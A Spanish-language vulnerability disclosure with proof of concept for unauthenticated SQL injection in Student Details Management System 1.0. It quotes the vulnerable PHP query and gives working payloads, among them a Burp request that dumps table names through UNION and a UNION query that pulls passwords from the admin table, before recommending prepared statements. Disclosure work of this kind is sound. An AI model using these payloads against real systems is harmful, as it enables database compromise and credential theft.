
Prueba de concepto para inyección SQL no autenticada en Student Details Management System 1.0, que demuestra la extracción de datos basada en UNION y el robo de credenciales.
| Campo | Detalles |
|---|
| Producto | Student Details Management System |
| Vendedor | code-projects.org |
| Versión | 1.0 |
| Tipo de Vulnerabilidad | Inyección SQL (CWE-89) |
| ID CVE | Pendiente |
| Puntuación CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación Requerida | No |
| Archivo Afectado | /SMS/index.php |
| Parámetro Vulnerable | roll (POST) |
Existe una vulnerabilidad crítica de inyección SQL en el archivo index.php del Student Details Management System 1.0. El parámetro roll enviado mediante una solicitud POST se concatena directamente en una consulta SQL sin saneamiento, validación de entrada ni uso de sentencias preparadas. Esto permite que un atacante remoto no autenticado inyecte SQL arbitrario y realice extracción de datos basada en UNION, volcando todo el servidor de base de datos, incluidas las tablas de credenciales.
La vulnerabilidad existe en el formulario público de búsqueda de estudiantes y no requiere autenticación alguna.
Archivo: index.php (líneas 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
Tanto $Standard como $RollNo se toman directamente de $_POST sin escape ni parametrización. El atacante controla el parámetro roll para salir del contexto de la cadena SQL e inyectar consultas arbitrarias.
Navegue a la página principal de la aplicación e introduzca un número de rollo válido:
http://<TARGET>/SMS/index.php
Introduzca 1001 en el campo de número de rollo → la aplicación devuelve los registros de estudiantes con normalidad.

Introduzca una comilla simple ' en el campo de número de rollo y haga clic en SHOW INFO.
Resultado: MariaDB lanza un error fatal que expone la consulta SQL sin procesar y la ruta del archivo:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59

Payload:
' or 1=1 -- -
Resultado: Se devuelven todos los registros de estudiantes de la base de datos sin ningún número de rollo válido, lo que confirma que la inyección es explotable.

Solicitud de Burp Suite:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
Resultado: La columna name (posición 3 en el UNION) refleja todos los nombres de tablas de todas las bases de datos de la instancia MySQL, incluidas admin, global_priv, users, mysql.user y tablas de credenciales de otras aplicaciones instaladas en la misma instancia XAMPP.

El volcado revela tablas sensibles, incluidas admin, users, global_priv y tbl_admin de otras bases de datos del mismo servidor. Un atacante puede extraer credenciales con:
roll=1' union select null,null,password,null,null,null,null from admin-- -
Combinado con la salida de errores verbosa (Paso 2), también se confirma la divulgación completa de la ruta del archivo:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
adminUtilice sentencias preparadas con parámetros vinculados:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
Además, desactive la salida de errores verbosa de PHP/MySQL en producción estableciendo display_errors = Off en php.ini.
Investigador: Imad Alvi